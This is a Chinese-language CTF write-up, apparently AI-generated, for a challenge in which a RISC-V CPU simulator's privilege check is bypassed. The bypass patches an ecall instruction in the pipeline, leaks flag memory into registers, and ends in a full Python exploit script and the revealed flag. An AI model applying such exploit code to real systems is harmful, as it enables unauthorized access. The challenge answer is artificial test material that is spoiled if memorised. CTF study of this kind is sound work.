题目由 GPT 完成,本报告也由 GPT 生成

1. 题目概况

这题表面附件是一个 Linux ELF,但真正的攻击面不是原生 ELF 的栈、堆或 GOT,而是一个 Verilator 编译出来的 RISC-V CPU 仿真器。服务端接收一段 base64 编码的 RISC-V 机器码,把它写入仿真器 ROM,然后启动 CPU 执行。目标是绕过 CPU 内部对 flag.mem 的特权隔离,把 flag 从高地址内存读出来。

题目附件主要包括:

1
2
3
4
5
6
bin/run.py             服务包装脚本
bin/Simulation 远端实际运行的 Verilator 仿真器
bin/Simulation_debug 调试版本,可生成 sim.vcd
bin/system.mem 初始 ROM/启动代码
bin/flag.txt 本地测试 flag
Dockerfile/start.sh 远端部署方式

2. 服务入口分析

2.1 run.py 输入处理

bin/run.py 的核心流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
MAX_LEN = 0x200 * 4
CODE_START = 0x100

code = base64.b64decode(program, validate=True)
if len(code) > MAX_LEN:
return "too long\n"

code = code.ljust(MAX_LEN, b"\0")
flag = FLAG_TXT.read_bytes()

copy(SYSTEM_MEM, ROM_FILE)
write_memfile(ROM_FILE, CODE_START, code, "a+")
write_memfile(FLAG_MEM, 0, flag, "w+")

run([str(SIMULATION)], cwd=RUNTIME_DIR, ...)

几个关键点:

  1. 用户只能输入 base64,解码后最多 0x800 字节。
  2. 用户代码写入 /tmp/rom_file.mem@00000100
  3. flag.txt 被写入 /tmp/flag.mem
  4. Simulation/tmp 下运行,因此它会读取 /tmp/rom_file.mem/tmp/flag.mem

.mem 文件中的地址是 32-bit word 下标,而 CPU 的 PC 是字节地址。因此 CODE_START = 0x100 对应的执行地址是:

1
0x100 * 4 = 0x400

这和后面 ROM 启动代码设置 sepc = 0x400 完全对应。

2.2 结束输出机制

IDA 分析 Simulation,在 VCPU___024root___eval_initial__TOP__Vtiming__0 中可以看到仿真结束逻辑:

1
2
3
4
5
6
7
if (pc > 0x1fff) {
VL_WRITEF("x0 = 0x%08x\n", ...);
...
VL_WRITEF("x31 = 0x%08x\n", ...);
VL_WRITEF("pc = %08x\ntook %11d cycles\n", ...);
VL_FINISH_MT("src/Simulation.sv", 41, "");
}

也就是说,只要能让 PC 跳到 0x2000 或更高,仿真器就会把全部 32 个通用寄存器打印到 stdout。这个机制是天然泄露通道:只要把 flag 放进寄存器,再跳到 0x2000 即可看到 flag。

3. ROM 程序分析

3.1 system.mem 反汇编

system.mem 是初始 ROM。将每个 32-bit word 按 little-endian 转为二进制后,用 RISC-V objdump 反汇编,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0x00: addi  x5,x0,1024
0x04: csrrw x0,sepc,x5 ; sepc = 0x400
0x08: addi x5,x0,64
0x0c: csrrw x0,stvec,x5 ; stvec = 0x40
0x10: addi x5,x0,0
0x14: lui x2,0x10 ; sp = 0x10000
0x18: sret ; 从 supervisor 返回,开始执行用户代码 0x400

0x40: lui x5,0x10 ; x5 = 0x10000
0x44: bgeu x10,x5,0x98 ; a0 >= 0x10000 时,不比较,直接返回 -1
0x48: addi x5,x0,0
0x4c: addi x6,x0,1
0x50: slli x6,x6,0x1f ; x6 = 0x80000000,flag memory base
0x54: addi x7,x10,0 ; x7 = 用户传入的比较地址
0x58: addi x10,x0,0 ; a0 = 0
0x5c: lw x28,0(x6) ; 从 flag memory 读取 4 字节
0x60: lw x29,0(x7) ; 从用户给出的地址读取 4 字节
0x64: beq x28,x29,0x6c
0x68: ori x10,x10,1 ; 不相等则 a0 |= 1
0x6c: addi x5,x5,4
0x70: addi x6,x6,4
0x74: addi x7,x7,4
0x78: addi x28,x0,64
0x7c: bne x5,x28,0x5c ; 比较 0x40 字节
0x80: addi x5,x0,0
0x84: addi x6,x0,0
0x88: addi x7,x0,0
0x8c: addi x28,x0,0
0x90: addi x29,x0,0
0x94: sret
0x98: addi x10,x0,-1
0x9c: jal x0,0x80

3.2 ROM 的设计意图

ROM 在启动阶段设置:

1
2
3
sepc  = 0x400
stvec = 0x40
sp = 0x10000

随后执行 sret,进入用户代码。用户态如果执行 ecall,CPU 会跳到 stvec = 0x40 的 handler。这个 handler 的设计意图是提供一个受限 oracle:

  1. 用户把某个地址放到 a0/x10
  2. handler 在特权态读取 0x80000000 的 flag memory。
  3. handler 再读取用户给出的地址。
  4. 比较前 0x40 字节是否相同。
  5. 返回 a0 = 0a0 = 1,表示相等或不相等。

为了避免直接泄露,handler 返回前会清空 x5/x6/x7/x28/x29,也就是清掉曾经保存 flag 地址、用户地址和 flag word 的临时寄存器。

从正常设计看,我们最多只能得到一个比较 oracle,不能直接读出 flag。

4. 仿真器内存模型分析

IDA 中 VCPU___024root___eval_initial__TOP 显示仿真器启动时读入两块 memory:

1
2
VL_READMEM_N(..., "rom_file.mem", ..., a1 + 872, ...);
VL_READMEM_N(..., "flag.mem", ..., a1 + 25576, ...);

结合 ROM 行为和实验现象,可以得到内存模型:

  1. rom_file.mem 是指令 ROM,同时用户代码也写入其中。
  2. flag.mem 是单独的 flag memory。
  3. 0x80000000 是 flag memory 的映射基址。
  4. 用户态直接 lw 0x80000000 读不到 flag,结果为 0。
  5. ROM handler 在特权态可以读取 0x80000000

因此漏洞利用不能简单写成:

1
2
3
lui t0,0x80000
lw s0,0(t0)
j 0x2000

本地测试这种直接读法时,寄存器 dump 中 s0/s1/... 全是 0,说明权限检查确实存在。

5. 漏洞点分析

5.1 对照实验

分析时做了三个对照。

第一种,用户态直接读 flag:

1
2
3
4
lui t0,0x80000
lw s0,0(t0)
...
jump 0x2000

结果:x8/x9/... 都是 0,无法泄露。

第二种,普通 ecall 后再读 flag:

1
2
3
4
5
6
lui t0,0x80000
lui a0,0x10
ecall
lw s0,0(t0)
...
jump 0x2000

结果:handler 正常执行,x5/x6/x7 被清空,x10 = 0xffffffff,后续读 flag 仍失败。

第三种,在 ecall 执行前自修改该地址:

1
2
3
4
5
0x414: sw patched_jal, 0x418
0x418: ecall
0x41c: nop
0x420: lw s0,0(t0)
...

结果:后续 lw 能把 0x80000000 的 flag 内容读进普通寄存器,且寄存器 dump 里 x5/x6/x7/x10 没有被 ROM handler 清空。说明问题出现在自修改代码、系统指令和流水线特权状态之间。

5.2 根因推断

题目没有给 SystemVerilog 源码,只能通过 Verilator 产物、ROM、波形调试版本和黑盒实验交叉确认。现象非常稳定:

  1. CPU 支持 data store 写入 code memory,用户代码可以修改自己的后续指令。
  2. ecall 与刚写入的替换指令位于同一个流水线窗口。
  3. 旧的 ecall、新写入的 jal x0,0x2000、异常/特权状态更新之间没有被精确同步。
  4. 流水线中和特权访存相关的状态被错误地保留下来或转发到后续 load。
  5. 但 ROM handler 的架构性寄存器清理没有正常作用到最终可见寄存器。
  6. 最终表现为:用户后续 lw 可以读取本应只能特权态读取的 0x80000000,并且读出的值会提交到普通寄存器。

换句话说,这是一个 CPU pipeline privilege bypass。远端 flag 中的 m3ltd0wn 也提示了这一点:利用方式类似瞬态执行/特权检查时序错误,而不是传统 pwn 里常见的栈溢出或堆利用。

6. 漏洞利用过程

6.1 利用目标

利用需要完成三件事:

  1. 让后续 load 获得读取 0x80000000 的能力。
  2. 把 flag 多个 32-bit word 放入不会被 handler 清空的寄存器。
  3. 跳到 0x2000,触发仿真器打印全部寄存器。

6.2 指令布局

用户代码从字节地址 0x400 开始执行。EXP 把触发点固定放在 0x418

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x400: lui   t0,0x80000          ; t0 = 0x80000000
0x404: lui a0,0x10 ; a0 = 0x10000,走 handler 快速路径
0x408: addi t1,x0,0x418 ; t1 = ecall 地址
0x40c: li t2,jal_word ; t2 = jal x0,0x2000 的机器码
0x414: sw t2,0(t1) ; 修改 0x418 处指令
0x418: ecall ; 流水线触发点
0x41c: nop
0x420: lw s0,0(t0)
0x424: lw s1,4(t0)
0x428: lw a1,8(t0)
...
addi s9,s9,1 ; 等待 load 写回
lui t1,0x2
jalr x0,0(t1) ; pc = 0x2000

0x418 处原始字节仍然是 ecall,但在执行前会被 sw 改写为 jal x0, 0x2000。这个组合触发了 CPU 的异常/取指/特权状态处理缺陷。

6.3 为什么选择这些寄存器

ROM handler 明确会清理:

1
2
3
4
5
x5  / t0
x6 / t1
x7 / t2
x28 / t3
x29 / t4

a0/x10 也会被 handler 当作返回值使用。因此 EXP 泄露时选择:

1
[8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]

也就是避开 t0/t1/t2/t3/t4/a0,把 flag 读到 s0/s1/a1-a7/s2-s8 等寄存器中。

6.4 为什么要等待若干周期

RISC-V load 不是取指后立即写回寄存器。仿真器在 pc > 0x1fff 时马上 dump 寄存器,如果跳得太快,部分 load 结果可能还没有写回。

EXP 在跳到 0x2000 前插入 30 条:

1
addi s9,s9,1

作用是拖延流水线,保证 flag word 已经提交到寄存器文件。

6.5 泄露还原

寄存器以 32-bit 十六进制输出,RISC-V 是 little-endian。例如远端输出:

1
2
3
4
x8  = 0x46544341
x9 = 0x7634487b
x11 = 0x30795f33
...

按 little-endian 拼接:

1
2
3
0x46544341 -> b"ACTF"
0x7634487b -> b"{H4v"
0x30795f33 -> b"3_y0"

继续拼接直到 },即可得到完整 flag。

7. 远程验证结果

远端只请求了一次,完整交互输入输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
$ python3 solve_acpu_fixed.py --host pwn-b105ea4334.adworld.xctf.org.cn --port 9999
[+] payload base64:
twIAgDcFAQATA4BBtxOQPpOD8wYjIHMAcwAAABMAAAADpAIAg6RCAIOlggADpsIAg6YCAQOnQgGDp4IBA6jCAYOoAgIDqUICg6mCAgOqwgKDqgIDA6tCA4OrggMDrMIDk4wcAJOMHACTjBwAk4wcAJOMHACTjBwAk4wcAJOMHACTjBwAk4wcAJOMHACTjBwAk4wcAJOMHACTjBwAk4wcAJOMHACTjBwAk4wcAJOMHACTjBwAk4wcAJOMHACTjBwAk4wcAJOMHACTjBwAk4wcAJOMHACTjBwANyMAAGcAAwA=
[+] raw output:
give me your code:
x0 = 0x00000000
x1 = 0x00000000
x2 = 0x00010000
x3 = 0x00000000
x4 = 0x00000000
x5 = 0x80000000
x6 = 0x00000418
x7 = 0x3e90106f
x8 = 0x46544341
x9 = 0x7634487b
x10 = 0x00010000
x11 = 0x30795f33
x12 = 0x33685f75
x13 = 0x5f647234
x14 = 0x6d5f6630
x15 = 0x64746c33
x16 = 0x3f6e7730
x17 = 0x0000007d
x18 = 0x00000000
x19 = 0x00000000
x20 = 0x00000000
x21 = 0x00000000
x22 = 0x00000000
x23 = 0x00000000
x24 = 0x00000000
x25 = 0x0000001e
x26 = 0x00000000
x27 = 0x00000000
x28 = 0x00000000
x29 = 0x00000000
x30 = 0x00000000
x31 = 0x00000000
pc = 00002000
took 70 cycles
- src/Simulation.sv:41: Verilog $finish
done
give me your code:

[+] flag: ACTF{H4v3_y0u_h34rd_0f_m3ltd0wn?}

最终 flag:

1
ACTF{H4v3_y0u_h34rd_0f_m3ltd0wn?}

8. 完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
#!/usr/bin/env python3
import argparse
import base64
import re
import socket
import ssl
import struct
import subprocess
from pathlib import Path

# RISC-V encoders for the tiny rv32i subset used by the challenge.
def I(op, rd, rs1, funct3, imm):
return ((imm & 0xfff) << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | op

def S(op, rs1, rs2, funct3, imm):
imm &= 0xfff
return ((imm >> 5) << 25) | (rs2 << 20) | (rs1 << 15) | (funct3 << 12) | ((imm & 0x1f) << 7) | op

def U(op, rd, imm20):
return (imm20 << 12) | (rd << 7) | op

def li32(rd, val):
val &= 0xffffffff
hi = (val + 0x800) >> 12
lo = val - (hi << 12)
if hi == 0:
return [I(0x13, rd, 0, 0, lo)]
return [U(0x37, rd, hi & 0xfffff), I(0x13, rd, rd, 0, lo)]

def jal(rd, pc, target):
imm = target - pc
assert imm % 2 == 0
if imm < 0:
imm = (1 << 21) + imm
return (((imm >> 20) & 1) << 31) | (((imm >> 1) & 0x3ff) << 21) | (((imm >> 11) & 1) << 20) | (((imm >> 12) & 0xff) << 12) | (rd << 7) | 0x6f

def build_payload() -> str:
ECALL = 0x418
j_to_dump = jal(0, ECALL, 0x2000)

words = []
words.append(U(0x37, 5, 0x80000)) # t0 = 0x80000000, flag memory base
words.append(U(0x37, 10, 0x10)) # a0 = 0x10000, makes the old handler return quickly
words.append(I(0x13, 6, 0, 0, ECALL)) # t1 = address of ecall
words += li32(7, j_to_dump) # t2 = instruction word: jal x0, 0x2000
words.append(S(0x23, 6, 7, 2, 0)) # sw t2, 0(t1), patch ecall
assert 0x400 + 4 * len(words) == ECALL

words.append(0x00000073) # ecall, already fetched before patch is observed
words.append(I(0x13, 0, 0, 0, 0)) # nop

# Avoid registers clobbered by the original handler: t0/t1/t2/t3/t4 and a0.
leak_regs = [8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]
for i, rd in enumerate(leak_regs):
words.append(I(0x03, rd, 5, 2, i * 4)) # lw rd, i*4(t0)

# Give the loads enough pipeline time to write back before the register dump.
for _ in range(30):
words.append(I(0x13, 25, 25, 0, 1)) # addi s9, s9, 1

words.append(U(0x37, 6, 2))
words.append(I(0x67, 0, 6, 0, 0))

code = b''.join(struct.pack('<I', w) for w in words)
return base64.b64encode(code).decode()

def parse_flag(output: str) -> bytes:
regs = {int(k): int(v, 16) for k, v in re.findall(r'x(\d+) = 0x([0-9a-fA-F]+)', output)}
leak_regs = [8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]
leaked = b''.join(struct.pack('<I', regs[r]) for r in leak_regs if r in regs)
m = re.search(rb'ACTF\{[^\x00\r\n]*?\}', leaked)
if m:
return m.group(0)
return leaked.split(b'\x00', 1)[0]

def run_local(chall_dir: Path, payload_b64: str) -> str:
p = subprocess.run(
['python3', 'run.py'],
cwd=chall_dir,
input=payload_b64 + '\n\n',
text=True,
capture_output=True,
timeout=15,
check=False,
)
return p.stdout + p.stderr

def _recv_until(sock, markers, timeout=8, max_bytes=1 << 20):
sock.settimeout(timeout)
data = b''
while len(data) < max_bytes:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk:
break
data += chunk
if any(m in data for m in markers):
break
return data

def run_remote(host: str, port: int, payload_b64: str, use_ssl: bool = True) -> str:
raw = socket.create_connection((host, port), timeout=10)
if use_ssl:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(raw, server_hostname=host)
else:
s = raw

with s:
banner = _recv_until(s, [b'give me your code:'], timeout=8)
if b'give me your code:' not in banner:
raise RuntimeError(
'did not receive prompt. If this is a TLS/SSL service, do not use --no-ssl; '
'if it is plain TCP, add --no-ssl. Received: %r' % banner[:200]
)
s.sendall(payload_b64.encode() + b'\n')

# The service is loop-based: after printing "done" it asks for another payload
# instead of closing. Stop as soon as one simulation is complete.
out = _recv_until(
s,
[b'give me your code:', b'- src/Simulation.sv', b'pc = 00002000', b'took'],
timeout=12,
)
# Grab a little more after pc/took so the following "done" is included when present,
# but never wait for EOF.
try:
s.settimeout(0.5)
while len(out) < (1 << 20):
chunk = s.recv(4096)
if not chunk:
break
out += chunk
if b'give me your code:' in out or b'done\n' in out:
break
except socket.timeout:
pass

return (banner + out).decode(errors='replace')

def main():
ap = argparse.ArgumentParser()
ap.add_argument('--local', type=Path, help='path to challenge bin directory containing run.py')
ap.add_argument('--host')
ap.add_argument('--port', type=int)
ap.add_argument('--no-ssl', action='store_true', help='use plain TCP instead of TLS/SSL')
args = ap.parse_args()

payload = build_payload()
print('[+] payload base64:')
print(payload, flush=True)

if args.host and args.port:
out = run_remote(args.host, args.port, payload, use_ssl=not args.no_ssl)
else:
chall_dir = args.local or Path('/mnt/data/acpu/bin')
out = run_local(chall_dir, payload)

print('[+] raw output:')
print(out)
flag = parse_flag(out)
if flag:
print('[+] flag:', flag.decode(errors='replace'))
else:
print('[-] failed to parse flag')

if __name__ == '__main__':
main()